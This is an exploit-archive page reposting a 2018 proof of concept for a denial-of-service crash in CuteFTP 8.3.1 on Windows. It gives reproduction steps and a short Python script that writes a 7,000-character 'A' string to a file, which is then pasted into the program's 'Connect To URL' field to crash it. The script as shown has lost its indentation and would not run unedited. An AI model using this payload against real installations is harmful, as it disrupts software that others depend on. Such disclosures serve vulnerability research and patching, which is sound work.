Cuteftp 8.3.1 denial of service (poc) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2018-08-23 | Type : dos | Platform : windows_x86-64
This exploit / vulnerability Cuteftp 8.3.1 denial of service (poc) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title : CuteFTP 8.3.1 - Denial Of Service (PoC)
# Exploit Author : Ali Alipour
# WebSite : Alipour.it
# Date: 2018-08-22
# Vendor Homepage : http://www.cuteftp.com/
# Software Link Download : https://filehippo.com/download_cuteftp_pro/4518/
# Tested on : Windows 10 - 64-bit

# Steps to Reproduce
# Run the python exploit script, it will create a new
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
# and start the CuteFTP program.
# In the new window click "File" > "Connect" > "Connect To URL" .
# Now Paste the content of "exploit.txt" into the field: " Connect To URL ".
# Click "OK" and you will see a crash.

#!/usr/bin/python

buffer = "A" * 7000
payload = buffer
try:
f=open("exploit.txt","w")
print "[+] Creating %s bytes evil payload.." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"